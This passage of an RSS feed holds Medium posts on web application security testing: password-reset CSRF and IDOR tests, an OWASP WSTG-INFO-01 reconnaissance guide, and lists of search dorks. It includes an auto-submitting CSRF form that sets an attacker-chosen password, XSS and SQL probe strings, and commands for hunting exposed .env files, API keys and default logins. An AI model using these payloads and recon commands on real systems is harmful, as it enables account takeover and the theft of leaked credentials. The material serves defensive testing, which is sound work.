pre-generated and stored, or your existing password was recoverable (bad).</p><p>Check the network traffic (Burp Suite, ZAP, etc.): Ensure the reset link leads to a password change form, not a form that reveals an already set password.</p><p>Indicators of a Vulnerability</p><p>Bad Practices:</p><ul><li>“Here is your password: qwerty123” (sent by email or shown after reset)</li><li>Reset link directly logs you in and reveals the password.</li><li>No hashing passwords stored in reversible format.</li></ul><p>Good Practices:</p><ul><li>Send only a time-limited, single-use reset link.</li><li>Force user to choose a new password never reveal old or generated one.</li><li>Store passwords using strong hashing (bcrypt, Argon2, scrypt).</li></ul><p><strong>Step 5: Testing for CSRF in Reset Flow.</strong></p><p>Step-by-Step:</p><p>1. Understand the Target Reset Endpoint</p><p>First, initiate the password reset for your own account and capture the request in Burp Suite / proxy.</p><p>Look for:</p><ul><li>HTTP method (POST, PUT, sometimes GET — which is bad)</li><li>Endpoint URL (e.g., /reset-password, /users/change-pass)</li><li>Parameters (e.g., new_password, confirm_password, csrf_token, user_id, token)</li></ul><p>Check for a CSRF Token</p><p>In the request body or headers, see if there’s a CSRF token (e.g., csrfmiddlewaretoken, _token, authenticity_token). If no token is present, that’s already a red flag CSRF may be possible.</p><p>Build a Malicious HTML Form</p><p>Craft a fake HTML form that sends the same request as the legitimate reset request but without a CSRF token.</p><p>Example:</p><blockquote>&lt;html&gt;</blockquote><blockquote>&lt;body&gt;</blockquote><blockquote>&lt;form action=”https://target.com/reset-password&quot; method=”POST”&gt;</blockquote><blockquote>&lt;input type=”hidden” name=”new_password” value=”AttackerChosenPass123!”&gt;</blockquote><blockquote>&lt;input type=”hidden” name=”confirm_password” value=”AttackerChosenPass123!”&gt;</blockquote><blockquote>&lt;input type=”hidden” name=”user_id” value=”1234&quot;&gt; &lt;! — If applicable →</blockquote><blockquote>&lt;input type=”submit” value=”Click Me”&gt;</blockquote><blockquote>&lt;/form&gt;</blockquote><blockquote>&lt;script&gt;</blockquote><blockquote>document.forms[0].submit(); // Auto-submit</blockquote><blockquote>&lt;/script&gt;</blockquote><blockquote>&lt;/body&gt;</blockquote><blockquote>&lt;/html&gt;</blockquote><ul><li>Send to a Logged-In Victim, Host this HTML file somewhere (or send as an email attachment), If the victim is already logged in to the target app and clicks/loads this page:</li><li>Their browser will send the authenticated session cookie automatically.</li><li>If password changes successfully → CSRF vulnerability confirmed.</li></ul><p>Test Variations</p><ul><li>Try changing HTTP method (if reset supports GET or PUT without CSRF token).</li><li>Try removing CSRF token from captured request see if it still works.</li><li>Try altering parameters (e.g., user_id) to see if it’s also vulnerable to IDOR + CSRF combo.</li></ul><p>Expected Secure Behavior</p><p>Server must: Validate a CSRF token (per user/session), Only allow password reset through a confirmation link sent to email, Reject reset requests without a valid token.</p><p>Vulnerable if:</p><ul><li>Password changes immediately without token validation.</li><li>CSRF token is missing/ignored.</li><li>Token is static and reusable.</li></ul><p><strong>Step 6: Check for Insecure Direct Object Reference (IDOR) in Reset</strong></p><p>If the password reset process relies on predictable or guessable identifiers (like sequential user_id values) without proper authorization checks, an attacker can change the ID in the request and reset another user’s password.</p><p>How to Test</p><ul><li>Trigger the Password Reset Flow</li><li>Request a password reset for your own account.</li><li>Monitor the request sent to the backend using a proxy tool like Burp Suite</li><li>Identify Reset Request Parameters</li><li>Look for identifiers in the request such as:</li></ul><ol><li>user_id</li><li>account</li><li>email</li><li>username</li></ol><p>Example request:</p><blockquote>POST /reset-password</blockquote><blockquote>Content-Type: application/x-www-form-urlencoded</blockquote><blockquote>user_id=101&amp;token=abcd1234</blockquote><blockquote>Tamper With the Identifier</blockquote><blockquote>Change user_id=101 to user_id=102 or another known/predicted ID.</blockquote><p>Use sequential guessing, enumeration, or information from the application (e.g., public profile URLs like /user/105).</p><p>Check the Response</p><p>If the application accepts the request and processes it without validating that the token belongs to that specific user, the vulnerability exists.</p><p>Verify the Impact</p><p>If possible (in a safe test environment), confirm that the other account’s password was reset and you can log in.</p><p>Indicators of Vulnerability</p><ul><li>The user_id is visible and changeable in requests.</li><li>No secondary verification that the token matches the correct user_id.</li><li>The reset request is accepted for another user without authentication.</li></ul><p>Secure Implementation</p><ul><li>To prevent IDOR in reset flows: Use unpredictable, securely generated reset tokens tied specifically to the user’s account in the backend.</li></ul><p>Validate both:</p><ul><li>The token is valid and not expired.</li><li>The token belongs to the user making the request.</li><li>Avoid exposing internal IDs in reset links; use hashed, opaque identifiers instead.</li></ul><p>Weakness Risk</p><ul><li>No current password required for change Session hijack → account takeover</li><li>No CSRF protection Silent password changes/resets</li><li>No rate limiting Brute-force old passwords or secret answers</li><li>Account enumeration Enables targeted attacks</li><li>Predictable/resettable tokens Token forgery</li><li>No expiry for reset links Long-term exposure</li><li>Plaintext password storage Full compromise if breached</li><li>IDOR in reset/change Reset any account</li></ul><h3>Disclaimer</h3><p>This authentication testing script is provided only for legitimate security assessment, educational, or research purposes.<br>Unauthorized or illegal use is strictly prohibited.</p><ul><li>Use this script only on systems and applications you own, or for which you have explicit written permission to perform security testing (such as bug bounty programs, responsible disclosure initiatives, or penetration testing engagements).</li><li>The author and publisher of this resource do not endorse or condone any illegal activity, including unauthorized access, data theft, or disruption of services.</li><li>You are solely responsible for ensuring your compliance with all applicable laws, regulations, and terms of service.</li><li>Any use of this script for unethical or unlawful purposes is strictly forbidden and may result in criminal or civil liability.</li><li>The content is provided “as-is”; we disclaim all liability for any direct or indirect damages resulting from its use.</li></ul><p>Always act responsibly and ethically.<br>Test only with authorization.<br>Report vulnerabilities through safe, coordinated channels.<br>Help make the digital world safer.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5993ed90560" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WSTG-INFO-01: Conduct Search Engine Discovery Reconnaissance for Information Leakage.]]></title>
            <link>https://bilal423.medium.com/wstg-info-01-conduct-search-engine-discovery-reconnaissance-for-information-leakage-6ec64f6ef28c?source=rss-ccc6618876ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ec64f6ef28c</guid>
            <dc:creator><![CDATA[Bilal k. Mohammed]]></dc:creator>
            <pubDate>Sat, 02 Aug 2025 10:12:54 GMT</pubDate>
            <atom:updated>2025-08-02T10:15:03.813Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>What to look for</strong></h3><blockquote>1. Files and Documents</blockquote><p>Configuration files .env, config.php, .ini, .xml, .yml</p><p>Backup files .zip, .tar.gz, .bak, .old</p><p>Database dumps .sql, .db, .mdb</p><p>Sensitive documents .pdf, .docx, .xlsx, .pptx</p><p>Logs access.log, error.log, debug.log</p><blockquote>2. Credentials and Secrets</blockquote><p>API keys &amp; secrets (In code files on GitHub or JS files)</p><p>Hardcoded credentials (Inside .js, .php, or .py files)</p><p>SSH keys / JWT tokens (Leaked in paste sites or config files)</p><p>Default credentials (Found in admin panels or manuals)</p><blockquote>3. Development &amp; Staging Artifacts</blockquote><p>Dev/UAT/Test URLs dev.example.com, test.example.com</p><p>Debug/test pages debug=true, /test.php, /phpinfo.php</p><p>Build scripts or artifacts build.gradle, .git, .svn</p><blockquote>4. Site Structure and Internal Areas</blockquote><p>Admin panels /admin, /wp-admin, /dashboard</p><p>Internal docs/pages /internal, /confidential, /drafts</p><p>Directory listings “index of /backup”, “index of /uploads”</p><p>Robots.txt (Lists restricted but existing paths)</p><blockquote>5. Employee or System Metadata</blockquote><p>Emails/usernames (GitHub, Pastebin, public mailing lists)</p><p>Internal naming schemes (From subdomains or document metadata)</p><p>Network diagrams/IPs (Found in PDFs, Docs, forums)</p><p>Technology stack info (From cached pages, error messages)</p><blockquote>6. Error or Debug Info</blockquote><p>Error messages (“SQL syntax error”, “stack trace”)</p><p>Exposed stack traces (Reveals language, file paths)</p><p>Debug endpoints (/debug, /status, /healthcheck )</p><blockquote>7. Indirect Third-Party Leakage</blockquote><p>GitHub (Commits, repos, .env, .gitignore)</p><p>Pastebin/Ghostbin (Leaked keys or credentials)</p><p>StackOverflow (Copy-pasted config or log info)</p><p>Google Groups / Usenet (Internal announcements or questions)</p><p>Job boards (Tech stack info from job descriptions)</p><h4>1. Files and Documents</h4><blockquote>Step-by-Step Guide</blockquote><blockquote>🔹 Step 1: Passive Recon with Google Dorks</blockquote><pre>site:example.com ext:env</pre><pre>site:example.com ext:bak</pre><pre>site:example.com ext:sql</pre><pre>site:example.com intitle:index.of</pre><p>Replace example.com with the target domain. Google might show indexed backup/config/database files.</p><blockquote>🔹 Step 2: Brute-Force Using ffuf</blockquote><p>Use this types of word list</p><p>SecLists/Discovery/Web-Content/raft-medium-files.txt SecLists/Discovery/Web-Content/common.txt</p><pre>ffuf -u https://example.com/FUZZ -w wordlist.txt -mc 200,403 | tee output.txt</pre><p>· -mc = match codes (200 OK, 403 Forbidden)</p><blockquote>🔹 Step 3: Use dirsearch as an alternative to ffuf</blockquote><pre>python3 dirsearch.py -u https://example.com -e php,env,zip,sql,bak,log,docx,xlsx -x 404,403</pre><blockquote>🔹 Step 4: Collect URLs using waybackurls</blockquote><pre>Cat subs.txt | waybackurls | tee wayback.txt</pre><p>Look for files in output:</p><pre>Cat wayback.txt | grep -Ei &#39;\.env|\.zip|\.tar\.gz|\.sql|\.bak|\.log|\.pdf|\.docx&#39;</pre><blockquote>🔹 Step 5: Check URLs with httpx</blockquote><p>Use to verify alive endpoints:</p><pre>cat wayback.txt | httpx -mc 200,403 -title | tee live.txt</pre><blockquote>🔹 Step 6: Use nuclei to scan for exposed sensitive files</blockquote><pre>nuclei -u https://example.com -t exposures/ -o nuclei-results.txt</pre><pre>Most of the time we have list of urls so use -l instead of -u replace the target with the file</pre><pre>nuclei -l live.txt -t exposures/ -o nuclei-results.txt</pre><p>Templates to focus on:</p><p>· exposures/configs</p><p>· exposures/files</p><p>· exposures/backups</p><p>Make sure your Nuclei templates are updated:</p><pre>nuclei -update-templates</pre><blockquote>🔹 Step 7: GitHub Dorking (Optional but powerful)</blockquote><p>Search in GitHub:</p><pre>filename:.env example.com</pre><pre>filename:config.php example.com</pre><p>Use tools like:</p><p>· <a href="https://github.com/techgaun/github-dorks">github-dorks</a></p><p>· <a href="https://github.com/obheda12/GitDorker">GitDorker</a></p><h4>2. Credentials and Secrets</h4><h4>Step-by-Step Guide</h4><blockquote>🔹 Step1: GitHub Dorking for Secrets</blockquote><p>Tool: GitDorker</p><pre>python3 GitDorker.py -tf token.txt -q dorks/API-KEYS.txt -e target.com | tee output.txt</pre><p>· -tf = GitHub token file</p><p>· -q = Dorks list</p><p>· -e = Target domain</p><p>· -o = Output directory</p><p>Scans repo history and current code for secrets using regex and entropy.</p><blockquote>🔹 step2: JavaScript File Secret Discovery</blockquote><p>Tool: SecretFinder</p><pre>python3 SecretFinder.py -i https://target.com/assets/main.js -o cli</pre><p>Looks for:</p><p>· API Keys (AWS, Google, Twilio)</p><p>· JWTs</p><p>· Access Tokens</p><blockquote>🔹 Step 3. Token/Key Patterns with gf</blockquote><p>This java files form waybackurls</p><pre>cat javafiles.txt | gf aws-keys</pre><pre>cat jsfiles.txt | gf jwt</pre><blockquote>🔹 Step 4: Discovering Login Panels</blockquote><p>Tool: dirsearch</p><pre>python3 dirsearch.py -u https://target.com -w &lt;wordlist/path&gt; -e html,php,js -x 403,404 -f</pre><pre>-f = force the extension on each of the words from the wordlist.</pre><p>Check for:</p><p>· /admin/</p><p>· /login/</p><p>· /config/</p><p>Use default credentials list on these panels.</p><blockquote>🔹 Step 5: Nuclei for Default Credential Checks</blockquote><pre>nuclei -u https://target.com -t default-logins/ -o default-login-results.txt</pre><p>Target templates like:</p><p>· cves/</p><p>· misconfiguration/default-logins/</p><p>· exposures/configs/</p><blockquote>3. Development &amp; Staging Artifacts</blockquote><p>Step-by-Step Guide</p><blockquote>🔹 1. Discover Subdomains (Dev/Test/UAT)</blockquote><pre>·       subfinder -d example.com | tee 1.txt</pre><pre>·       assetfinder --subs-only example.com | tee 2.txt</pre><pre>·       amass enum -passive -d example.com | tee 3.txt</pre><p>Sort it out;</p><pre>cat 1.txt,2.txt,3.txt | sort -u | tee subs.txt</pre><p>Then check which are live:</p><pre>cat subs.txt | httpx -mc 200,403,401 -title | tee livesubs.txt</pre><pre>cat livesubs.txt | grep -Ei &#39;debug|test|staging|dev|phpinfo|dump|backup&#39; | tee dev_test1.txt</pre><pre>cat dev_test1.txt | sort -u | tee dev_test_sort2.txt</pre><pre>Look for interesting once.</pre><blockquote>🔹 2. Find Debug/Dev/Test URLs Using Historical Tools</blockquote><pre>echo example.com | gau | tee gau.txt</pre><pre>echo example.com | waybackurls | tee wayback.txt</pre><pre>For list of livesubs,</pre><pre>cat livesubs.txt| waybackurls | tee wayback.txt</pre><pre>cat live.txt | gau | tee gau.txt</pre><p>Search for common debug indicators:</p><pre>cat gau.txt wayback.txt | grep -Ei &#39;debug|test|staging|dev|phpinfo|dump|backup&#39; | tee dev_test2.txt</pre><pre>cat dev_test2.txt | sort -u | tee dev_test_sort2.txt</pre><pre>Look for interesting nce.</pre><blockquote>🔹 3. Use gf to Detect Suspicious Paths in the gau file</blockquote><pre>cat gau.txt | gf phpinfo</pre><pre>cat gau.txt | gf debug_pages</pre><blockquote>🔹 4. Directory and Artifact Discovery</blockquote><blockquote>Scan for common dev files or exposed directories using</blockquote><pre>·       ffuf, dirsearch.py, nuclie</pre><pre>Make sure your using wordlist for this. custom wordlist:</pre><pre>/.git/<br>/svn/<br>/test/<br>/debug/<br>/phpinfo.php<br>/staging/<br>/uat/<br>/old/<br>/dev/<br>/build.gradle<br>/pom.xml<br>/dev/<br>/dev/<br>/dev/api/<br>/dev/login/<br>/dev-dashboard/<br>/dev/admin/<br>/devpanel/<br>/developer/<br>/developers/<br>/development/<br>/test/<br>/test/api/<br>/test-login/<br>/test-admin/<br>/testing/<br>/tests/<br>/uat/<br>/uat/api/<br>/stage/<br>/staging/<br>/staging-api/<br>/sandbox/<br>/sandbox/login/<br>/internal/<br>/internal-api/<br>/internal-dashboard/<br>/private/<br>/private-api/<br>/preprod/<br>/preproduction/<br>/debug/<br>/debug/api/<br>/debug-login/<br>/qa/<br>/qa/api/<br>/beta/<br>/alpha/<br>/alpha-login/<br>/alpha-test/<br>/rc/<br>/release/<br>/new-admin/<br>/next/<br>/build/<br>/builds/<br>/old/<br>/v1/dev/<br>/v2/test/<br>/api/dev/<br>/api/test/<br>/v1beta/<br>/v1alpha/<br>/console/<br>/sysadmin/<br>/hidden/<br>/temp/<br>/tmp/<br>/trial/<br>/lab/<br>/labs/<br>/experimental/<br> <br></pre><p>or use</p><p>SecLists/Discovery/Web-Content</p><p>Assetnote/Wordlists</p><blockquote>4. Site Structure and Internal Areas</blockquote><p>Step-by-Step Guide</p><blockquote>🔹 1. Check robots.txt for Hidden Paths</blockquote><pre>curl -s https://example.com/robots.txt</pre><p>Look for:</p><pre>Disallow: /admin/</pre><pre>Disallow: /internal/</pre><pre>Disallow: /secret/</pre><p>These are <strong>not protected</strong> just hidden from crawlers. Test them manually or feed them to tools.</p><blockquote>🔹 2. Crawl the Site for Structure</blockquote><h4>Tool: hakrawler</h4><pre>echo https://example.com | hakrawler -depth 3 -js -robots -subs | tee output.txt</pre><p>-depth 3: Crawl up to 3 link levels deep</p><p>-js: Parse JS for links</p><p>-robots: Parse robots.txt</p><p>-subs: Include subdomains</p><blockquote>🔹 3. Discover Historical URLs</blockquote><p>Tool: gau + waybackurls look above section for this.</p><pre>cat filename.txt | grep -Ei &#39;/admin|/internal|/confidential|/dashboard|/uploads|/backup&#39; | tee historical.txt</pre><blockquote>🔹 4. Bruteforce Hidden Areas</blockquote><p>Tool: ffuf, Google Dork, Nuclei, dirsearch</p><pre>ffuf -u https://example.com/FUZZ -w ~/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -mc 200,403 -fc 404 | tee ffuf.txt</pre><pre>python3 dirsearch.py -u https://example.com -e php,html,txt -x 404,403 -f | tee dir.txt</pre><pre>site:example.com intitle:&quot;index of&quot;</pre><pre>nuclei -u https://example.com -t exposures/ -o nuclei-panels.txt</pre><pre>We already know how to use this form the above sections.</pre><blockquote>5. Employee or System Metadata.</blockquote><p>Step-by-Step Guide</p><blockquote>🔹 1. Collect Public Emails and Usernames</blockquote><p>Tool: theHarvester</p><pre>theHarvester -d example.com -b all -l 200 -f harvester-output.html</pre><blockquote>🔹 2. Extract Hidden Tech Stack Info</blockquote><p>Tool: whatweb</p><pre>whatweb -v https://example.com</pre><h4>Tool: nuclei</h4><pre>nuclei -u https://example.com -t technologies/ -o tech-info.txt</pre><h4>Tool: waybackurls + error hunting</h4><pre>echo &quot;example.com&quot; | waybackurls | grep -E &quot;\.php|debug|error&quot; | httpx -mc 200</pre><blockquote>🔹 3. Google Dorking for Employee/System Data</blockquote><p>Search via:</p><pre>site:example.com intitle:&quot;internal&quot;<br>site:example.com filetype:docx<br>site:example.com filetype:pdf<br>site:example.com &quot;network diagram&quot;</pre><blockquote>🔹 4. Find GitHub Emails, Usernames, and Naming Schemes</blockquote><p>Tool: GitDorker</p><pre>python3 GitDorker.py -tf token.txt -q dorks/emails.txt -e example.com | tee output.txt</pre><blockquote>6. Error or Debug Info.</blockquote><p>Step-by-Step Guide</p><blockquote>1. Passive Recon with Wayback and gau</blockquote><pre>echo &quot;example.com&quot; | waybackurls | grep -E &quot;debug|status|health|error&quot;</pre><pre>echo &quot;example.com&quot; | gau | grep -E &quot;debug|test|trace|status&quot;</pre><blockquote>2. Trigger Errors via Parameter Injection</blockquote><p>Try appending payloads to endpoints:</p><pre>curl -i -s https://example.com/product?id=&#39;<br>curl -i -s &quot;https://example.com/search?q=&lt;script&gt;alert(1)&lt;/script&gt;&quot;</pre><p>Look for outputs like:</p><p>· SQL syntax error</p><p>· Uncaught TypeError</p><p>· Stack trace: at file.php:123</p><blockquote>3. Use Nuclei to Detect Common Error/Debug Configs</blockquote><pre>nuclei -u https://example.com -t exposures/debug/ -o debug-results.txt</pre><p>Example templates:</p><p>· debug-mode.yaml</p><p>· laravel-debug.yaml</p><p>· stacktrace-disclosure.yaml</p><h3>4. Google Dorking</h3><pre>site:example.com inurl:debug</pre><pre>site:example.com intitle:&quot;error&quot;</pre><pre>site:example.com &quot;stack trace&quot;</pre><blockquote>7. Indirect Third-Party Leakage</blockquote><p>Step-by-Step Guide</p><blockquote>🔹 1. GitHub Dorking</blockquote><p>Tool: GitDorker</p><pre>python3 GitDorker.py -tf token.txt -q dorks.txt -e example.com | tee result.txt</pre><p>· -tf: Path to dork list</p><p>· -q: Target domain</p><p>· -e: Export results</p><blockquote>🔹 2. Pastebin &amp; Ghostbin Monitoring</blockquote><p>Tool: Pastebin Scraper (custom)</p><p>Use <a href="https://github.com/topics/pastebin">Pastebin Scrapers</a> or tools like:</p><pre>python3 paste_scraper.py --keywords &quot;example.com, api_key, password&quot;</pre><blockquote>🔹 3. Google Search Dorking</blockquote><p>Search for indexed leaks:</p><pre>site:stackoverflow.com &quot;example.com&quot; AND &quot;config&quot;<br>site:ghostbin.com &quot;example.com&quot;<br>site:groups.google.com &quot;internal use only&quot;<br>site:linkedin.com/jobs &quot;example.com&quot;</pre><p>By Mohammed k</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ec64f6ef28c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP WSTG-INFO-01 — Search Engine Discovery (Information Leakage)]]></title>
            <link>https://bilal423.medium.com/owasp-wstg-info-01-search-engine-discovery-information-leakage-aa901ce7bf4c?source=rss-ccc6618876ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa901ce7bf4c</guid>
            <category><![CDATA[owasp-api-security-top-10]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[wstg-info-01]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <dc:creator><![CDATA[Bilal k. Mohammed]]></dc:creator>
            <pubDate>Mon, 28 Jul 2025 11:27:57 GMT</pubDate>
            <atom:updated>2025-07-28T11:27:57.997Z</atom:updated>
            <content:encoded><![CDATA[<h3>OWASP WSTG-INFO-01 — Search Engine Discovery (Information Leakage)</h3><p><strong>Goal:</strong> Identify publicly exposed information about the target that could assist in further exploitation.</p><h3>✅ What Are We Looking For?</h3><p>When performing search engine reconnaissance on a target like example.com, we&#39;re specifically looking for:</p><ul><li><strong>Credentials</strong></li><li><strong>Configuration files</strong></li><li><strong>Internet infrastructure (subdomains, tech stack, DNS, etc.)</strong></li><li><strong>Development/Test environments</strong></li><li><strong>Error messages revealing internal logic or DB info</strong></li><li><strong>Exposed directories or files</strong></li><li><strong>Sensitive documents (PDFs, reports, internal guides, etc.)</strong></li></ul><h4>How to Find Them — Using Google Dorking</h4><h4>1️⃣ Login/Admin Panels</h4><pre>site:example.com inurl:login<br>site:example.com inurl:admin<br>site:example.com inurl:dashboard</pre><h4>2️⃣ Configuration Files</h4><pre>site:example.com filetype:xml<br>site:example.com filetype:config<br>site:example.com filetype:json<br>site:example.com filetype:env<br>site:example.com filetype:ini</pre><h4>3️⃣ Database Backups or Files</h4><pre>site:example.com filetype:sql<br>site:example.com filetype:db<br>site:example.com filetype:bak<br>site:example.com filetype:sqlite</pre><h4>4️⃣ Directory Listings</h4><pre>site:example.com intitle:&quot;index of&quot;<br>site:example.com intitle:&quot;directory listing&quot;</pre><h4>5️⃣ Error Messages</h4><pre>site:example.com intext:&quot;error&quot; intext:&quot;sql&quot;<br>site:example.com intext:&quot;warning&quot; intext:&quot;mysql&quot;<br>site:example.com intext:&quot;unexpected token&quot;</pre><h4>6️⃣ Sensitive Documents</h4><pre>site:example.com filetype:pdf<br>site:example.com filetype:xls<br>site:example.com filetype:doc<br>site:example.com filetype:csv</pre><h4>🕵️‍♂️ Other Search Engines to Use</h4><p>Repeat the same dorks on:</p><ul><li><strong>DuckDuckGo</strong></li><li><strong>Shoda</strong>n<em> (for exposed services/IPs</em>)</li><li><strong>ZoomEy</strong>e</li><li><strong>Censys.i</strong>o</li></ul><h4>💻 Source Code &amp; Secret Hunting (Git Dorking)</h4><h4>🔑 GitHub</h4><pre>site:github.com &quot;example.com&quot; password<br>site:github.com &quot;example.com&quot; apikey<br>site:github.com &quot;example.com&quot; config</pre><h4>🔑 GitLab &amp; Bitbucket</h4><pre>site:gitlab.com &quot;example.com&quot; secret<br>site:bitbucket.org &quot;example.com&quot; token</pre><h4>🔁 Try different terms like:</h4><ul><li>password, credentials, apikey, access_token, secret, private_key</li></ul><h3>📌 Tips</h3><ul><li>Always validate findings with manual checks.</li><li>Store your findings in a structured format (Excel/Notion/Markdown).</li></ul><p>By <a href="https://medium.com/@bilal423">bilal</a><br>LinkedIn: <a href="https://www.linkedin.com/in/mohammed-k-9a454a23b">https://www.linkedin.com/in/mohammed-k-9a454a23b</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa901ce7bf4c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>